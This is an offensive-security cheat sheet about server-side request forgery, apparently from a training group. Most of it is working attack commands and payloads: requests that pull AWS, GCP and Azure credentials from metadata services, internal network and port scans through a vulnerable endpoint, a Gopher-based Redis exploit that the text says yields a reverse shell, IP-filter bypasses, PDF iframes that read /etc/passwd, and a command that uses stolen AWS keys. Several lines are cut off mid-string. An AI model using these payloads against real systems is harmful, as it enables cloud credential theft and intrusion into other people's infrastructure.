



◆ OFFENSIVE SECURITY SERIES ◆

SSRF DEEP DIVE

Cloud Metadata, Internal Pivot & Filter Bypass

AWS · GCP · Azure · Internal Pivot · Blind SSRF · Gopher · Filter Bypass

AWS Metadata

GCP Metadata

Azure IMDS

Internal Pivot

Blind SSRF

Filter Bypass

PDF SSRF

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

SSRF DEEP DIVE — Cloud Metadata, Internal Pivot & Filter Bypass

01.	SSRF DISCOVERY & AWS METADATA EXPLOITATION
02.	GCP, AZURE, INTERNAL DISCOVERY & GOPHER RCE
03.	FILTER BYPASS, DNS REBIND & PDF SSRF
04.	SSRF CHEAT SHEET



01 — SSRF DISCOVERY

Finding & Exploiting AWS SSRF

```
SSRF Discovery & AWS Metadata Exploitation

# Find SSRF entry points
# Parameters: url, webhook, redirect, callback, src, href, path, uri, fetch, import
# Confirm SSRF
curl -X POST https://api.target.com/v1/preview -d '{"url":"http://YOUR_IP/ssrf-test"}'
# Burp Collaborator
curl -X POST https://api.target.com/v1/preview -d '{"url":"http://abc123.oastify.com"}'
# AWS metadata
curl -X POST https://api.target.com/v1/fetch -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
# Response: ami-id hostname iam local-ipv4 etc.
curl -X POST https://api.target.com/v1/fetch -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-cre
# Get role name, then:
curl -X POST https://api.target.com/v1/fetch -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-cre
# Returns: AccessKeyId, SecretAccessKey, Token
```

Figure: SSRF to AWS metadata returns IAM role credentials — full cloud access



02 — CLOUD & INTERNAL PIVOT

GCP, Azure, Gopher RCE

```

GCP, Azure, Internal Discovery & Gopher RCE

# GCP metadata (needs Metadata-Flavor: Google header via app)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure IMDS
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.co
# Internal network discovery via SSRF
ffuf -u 'https://target.com/api?url=http://192.168.1.FUZZ/' -w <(seq 1 254) -fs 0 -mc 200
# Internal port scan
ffuf -u 'https://target.com/api?url=http://10.0.0.1:FUZZ/' -w ports.txt -mc 200
# Common internal targets:
# 127.0.0.1:6379 → Redis (no auth default)
# 127.0.0.1:9200 → Elasticsearch
# 127.0.0.1:2375 → Docker API (unauthenticated)
# 10.96.0.1:443 → Kubernetes API
# Gopher protocol → Redis RCE
python3 gopherus.py --exploit redis
  
```

Figure: Port scan finds Redis on 6379, Gopher protocol sends commands — reverse shell received



03 — FILTER BYPASS

DNS, Decimal, Hex & PDF

```

Filter Bypass, DNS Rebind & PDF SSRF

# SSRF filter bypass - 169.254.169.254 blocked
http://2852039166/latest/meta-data/      # decimal
http://0xa9fea9fe/latest/meta-data/      # hex
http://[::ffff:169.254.169.254]/          # IPv6
http://169.254.169%2e254/                # URL encoded dot
# Localhost bypass
http://0.0.0.0 http://0 http://[::1] http://0x7f000001
# DNS pointing to blocked IP (attacker DNS control)
# Create A record: metadata.attacker.com -> 169.254.169.254
# Redirect bypass (server follows 301)
# Attacker server: 301 -> 169.254.169.254
# PDF generator SSRF
<iframe src='http://169.254.169.254/latest/meta-data/iam/security-credentials/'>
<iframe src='file:///etc/passwd'>
# PDF JavaScript
<script>var x=new XMLHttpRequest();x.open('GET','http://169.254.169.254/latest/meta-data/',false);x.send();docume

```

Figure: Decimal encoding bypasses IP filter, PDF iframe renders IAM credentials inside document



04 — SSRF CHEAT SHEET

Quick Reference

Find SSRF params	url, webhook, redirect, callback, src, href, path, uri, fetch, import, load
Confirm SSRF	POST {"url":"http://BURP_COLLABORATOR"} → check for DNS/HTTP callback
AWS metadata	http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS role name	http://169.254.169.254/latest/meta-data/iam/security-credentials/ (lists role)
AWS credentials	http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
AWS user-data	http://169.254.169.254/latest/user-data (startup scripts often have creds)
GCP token	http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure IMDS	http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource;=https://management.azure.com/
Internal scan	ffuf -u 'https://target.com/api?url=http://10.0.0.FUZZ/' -w <(seq 1 254)
Port scan	ffuf -u 'https://target.com/api?url=http://10.0.0.1:FUZZ/' -w ports.txt
Decimal bypass	169.254.169.254 → 2852039166
Hex bypass	169.254.169.254 → 0xa9fea9fe
IPv6 bypass	[::ffff:169.254.169.254] or [::ffff:a9fe:a9fe]
Localhost bypass	127.0.0.1 → 0.0.0.0 or 0 or [::1] or 0x7f000001
DNS bypass	Create A record pointing to blocked IP
Redirect bypass	Attacker server 301→ blocked IP
Redis Gopher	python3 gopherus.py --exploit redis → inject gopher URL via SSRF
Docker API	http://127.0.0.1:2375/v1.24/containers/json
Kubernetes API	https://10.96.0.1:443/api/v1/secrets
PDF SSRF iframe	
PDF file read	
Use stolen AWS creds	export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... && aws s3 ls



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.